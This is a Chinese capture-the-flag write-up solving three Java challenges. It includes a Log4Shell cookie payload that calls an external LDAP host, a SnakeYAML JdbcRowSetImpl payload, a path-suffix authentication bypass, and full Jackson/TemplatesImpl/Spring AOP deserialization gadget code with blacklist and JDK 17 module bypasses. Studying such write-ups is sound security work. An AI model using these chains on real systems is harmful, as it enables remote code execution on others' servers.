2025四川省赛-Java题目

see

反编译 jar 包,只有一个 index 路由

提示 debug log,再看依赖,log4j2 版本为 2.14.1,这个版本是存在 CVE-2021-44228 漏洞的

但是不知道哪里注入点,先运行 jar 包,不断 fuzz 发现 cookie 引发的报错记录到了日志中,

所以这里构造 poc

Cookie: ${${jndi:ldap://47.109.156.81:1389/Deserialize/Jackson/Command/calc}}

成功弹出计算机

不过这个只能打一次,因为这个错误只会记录一次。

snakeyaml

还是反编译 jar 包,一眼看到漏洞点:sankeyaml 反序列化,

依赖中还标注了这个版本存在反序列化漏洞,

不过想要访问到 /api/admin 路由需要进行鉴权绕过,简单看看鉴权逻辑。

看到以这几个静态文件后缀名结尾的话会直接放行进入 chainfilter 中,而且逻辑在 if (path.startsWith("/api/admin")) 前面,所以这里只需要我们在路由后面加上 css 这些静态文件后缀就可以了

并且也是可以到达目标路由的

poc

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "ldap://127.0.0.1:9999/test", autoCommit: true}

发现虽然是 jdk1.8 但是没法打远程类加载,那么选择打 ldap 二次反序列化绕过,存在 jackson 依赖,但是 jndimap 工具自带的 jackson 反序列化连需要 spring-aop 依赖所以打不了,

随便网上找条不要这个依赖链子就可以了,稳定性就看运气了

import com.fasterxml.jackson.databind.node.POJONode;  
  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
  
import java.lang.reflect.Field;  
  
import java.util.Base64;  
import java.util.Map;  
import java.util.Vector;  
  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
  
  
public class test {  
    public static void main(String[] args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(test.class.getClassLoader()));  
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        // 获取原方法  
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  
        // 修改方法名  
        originalMethod.setName("Replace");  
        // 加载修改后的类  
        ctClass.toClass();  
        CtClass clazz = pool.makeClass("gaoren");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytess = new byte[][]{clazz.toBytecode()};  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytess);  
        setValue(templates, "_name", "a");  
        setValue(templates, "_tfactory", new TransformerFactoryImpl());  
        POJONode pojoNode = new POJONode(templates);  
  
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()  
        EventListenerList list = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(pojoNode);  
        setFieldValue(list, "listenerList", new Object[] { Map.class, manager });  
  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(list);  
  
        String ser = Base64.getEncoder()  
                .encodeToString(byteArrayOutputStream.toByteArray());  
        System.out.println(ser);  
  
        byte[] decode = Base64.getDecoder().decode(ser);  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        baos.write(decode);  
  
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(  
                baos.toByteArray()));  
        objectInputStream.readObject();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value)  
            throws Exception {  
        Class<?> clazz = obj.getClass();  
        Field field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public static Object getFieldValue(Object obj, String fieldName)  
            throws NoSuchFieldException, IllegalAccessException {  
        Class clazz = obj.getClass();  
  
        while (clazz != null) {  
            try {  
                Field field = clazz.getDeclaredField(fieldName);  
                field.setAccessible(true);  
  
                return field.get(obj);  
            } catch (Exception e) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
  
        return null;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

然后启动 ldapserver,

最后成功弹出计算机

chain

先看 MANIFEST.MF 信息,发现是 jdk17

反编译 jar 包,主要注意 /object 接口,

存在反序列化,而且反序列后的类还调用了 toString 方法,首先想到的就是 jackson 触发任意 getter 然后进行高版本下的 TemplatesImpl 利用。看到其自定义了个 SafeObjectInputStream 类,存在两个黑名单,

这个 BlackList2 可以通过二次反序列化绕过,但是这里绕不绕一样,我们需要的类在 BlackList1 中,

简单看看 BlackList1 怎么用的,把我们传入的 base64 解码然后直接将字节码传入 checkData 方法,

在这个方法中依次对字节进行了比较,这种情况下二次反序列化就绕不过了。

不过这里是直接将原数据字节码进行比较而不是反序列化实列化类后比较,不难想到可以通过 UTF8 Overlong Encoding 绕过,因为明文改变了获得的字节码自然也不一样。

所以 poc,调用 student.ser(node); 方法进行 UTF8 Overlong Encoding,

import javassist.*;  
import org.springframework.aop.framework.AdvisedSupport;  
import sun.misc.Unsafe;  
import java.io.*;  
import java.lang.reflect.*;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
import java.util.Vector;  
import com.fasterxml.jackson.databind.node.POJONode;  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import javax.xml.transform.Templates;  
  
public class test3 {  
    public static void main(String[] args) throws Exception {  
        patchModule(test3.class);  
        ClassPool classPool = ClassPool.getDefault();  
        CtClass cc = classPool.makeClass("Evil");  
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";  
        cc.makeClassInitializer().insertBefore(cmd);  
  
        byte[] classBytes = cc.toBytecode();  
        CtClass cc1 = classPool.makeClass("Evil1");  
        cc1.makeClassInitializer().insertBefore(cmd);  
  
        byte[] classBytes1 = cc1.toBytecode();  
  
        byte[][] code = new byte[][]{classBytes,classBytes1};  

        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");  
        Object impl = getObject(clazz);  
  
        setFieldValue(impl,"_name","test");  
        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));  
        setFieldValue(impl,"_bytecodes",code);  
        setFieldValue(impl,"_transletIndex",0);
  
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
        ctClass.removeMethod(ctMethod);  
        ctClass.toClass(test3.class.getClassLoader(), null);  
        AdvisedSupport advisedSupport = new AdvisedSupport();  
        advisedSupport.setTarget(impl);  
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        Object proxyAop = constructor.newInstance(advisedSupport);  
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);  
  
        POJONode node = new POJONode(proxy);  
//        System.out.println("POJONode的:"+node.getClass().getModule());  
//        System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());  
        student.ser(node);  
//        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
//        new ObjectOutputStream(bao).writeObject(node);  
//        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  
    }  
    private static void patchModule(Class clazz) throws Exception {  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get(null);  
  
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
  
        Module targetModule = Object.class.getModule();  
        unsafe.getAndSetObject(clazz, offset,targetModule);  
    }  
  
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {  
        final Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    private static Object getObject(Class clazz) throws Exception{  
        Constructor constructor = clazz.getConstructor();  
        constructor.setAccessible(true);  
        Object impl = constructor.newInstance();  
        return impl;  
    }  
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {  
        Class clazz = obj.getClass();  
  
        while (clazz != null) {  
            try {  
                Field field = clazz.getDeclaredField(fieldName);  
                field.setAccessible(true);  
  
                return field.get(obj);  
            } catch (Exception e) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
        return null;  
    }  
}

最后成功 rce

思考

感觉出题人是想要防止二次反序列化绕过TemplatesImpl,那么不用TemplatesImpl 还有什么 getter 方法可以调用呢,首先想到的是 LdapAttribute.getAttributeDefinition 方法 ,source 点自然还是 jackson ,poc

import com.fasterxml.jackson.databind.node.POJONode;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
import javassist.LoaderClassPath;  
import org.springframework.aop.framework.AdvisedSupport;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import sun.misc.Unsafe;  
import javax.naming.CompositeName;  
import javax.naming.directory.Attribute;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.Base64;  
import java.util.Vector;  
  
public class test2 {  
    public static void main(String[] args) throws Exception {  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get((Object) null);  
        Module baseModule=Object.class.getModule();  
        Class<?> currentClass= test2.class;  
        long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
        unsafe.getAndSetObject(currentClass,addr,baseModule);  
  
  
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(test2.class.getClassLoader()));  
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        // 获取原方法  
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  
        // 修改方法名  
        originalMethod.setName("Replace");  
        // 4. 获取修改后的字节码  
        byte[] classBytes = ctClass.toBytecode();  
        ctClass.detach();  
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);  
        defineClass.setAccessible(true);  
        ClassLoader classLoader =test2.class.getClassLoader();  
        Class<?> modifiedClass = (Class<?>) defineClass.invoke(  
                classLoader, "com.fasterxml.jackson.databind.node.BaseJsonNode",  
                classBytes, 0, classBytes.length);  
  
        Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");  
        Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);  
        constructor.setAccessible(true);  
        Object obj = constructor.newInstance("name");  
  
        ReflectUtil.setFieldValue(obj, "baseCtxURL", "ldap://localhost:9999");  
        ReflectUtil.setFieldValue(obj, "rdn", new CompositeName("a/b"));  
  
        Class<?> clazz1 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");  
        Constructor<?> cons = clazz1.getDeclaredConstructor(AdvisedSupport.class);  
        cons.setAccessible(true);  
        AdvisedSupport advisedSupport = new AdvisedSupport();  
        advisedSupport.setTarget(obj);  
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);  
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Attribute.class}, handler);  
        POJONode jsonNodes = new POJONode(proxyObj);  
  
  
  
        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
        new ObjectOutputStream(bao).writeObject(jsonNodes);  
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  
    }  
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {  
        Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
    public static Field getField(Class<?> clazz, String fieldName) {  
        Field field = null;  
  
        try {  
            field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
        } catch (NoSuchFieldException var4) {  
            if (clazz.getSuperclass() != null) {  
                field = getField(clazz.getSuperclass(), fieldName);  
            }  
        }  
  
        return field;  
    }  
}  
class ReflectUtil {  
  
    public static void setFieldValue(Object obj, String name, Object val) throws Exception {  
        setFieldValue(obj.getClass(), obj, name, val);  
    }  
    public static void setFieldValue(Class<?> clazz, Object obj, String name, Object val) throws Exception {  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get((Object) null);  
        Module baseModule=Object.class.getModule();  
        Class<?> currentClass= ReflectUtil.class;  
        long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
        unsafe.getAndSetObject(currentClass,addr,baseModule);  
        Field f = clazz.getDeclaredField(name);  
        f.setAccessible(true);  
        f.set(obj, val);  
    }  
  
}

这个链子就是算套了代理类也存在不稳定性,因为 Attribute 接口的 getter 方法还挺多的,而且这里套代理主要作用是为了绕过 jdk17 的模块化机制。不成功需要重启多打几次,看到确实是触发到了 jndi,但是报错显示没法打 ldap 的反序列化绕过了,

jdk17 还可以打本地工厂类,但在 tomcat9 下我能想到的就是 xxe 和任意 stter 方法的调用了,但是感觉都不是很好用,还有个 jrmp 反序列化绕过但是只能用 rmi 协议,而这里的 LdapAttribute.getAttributeDefinition 只适用于 ldap 协议。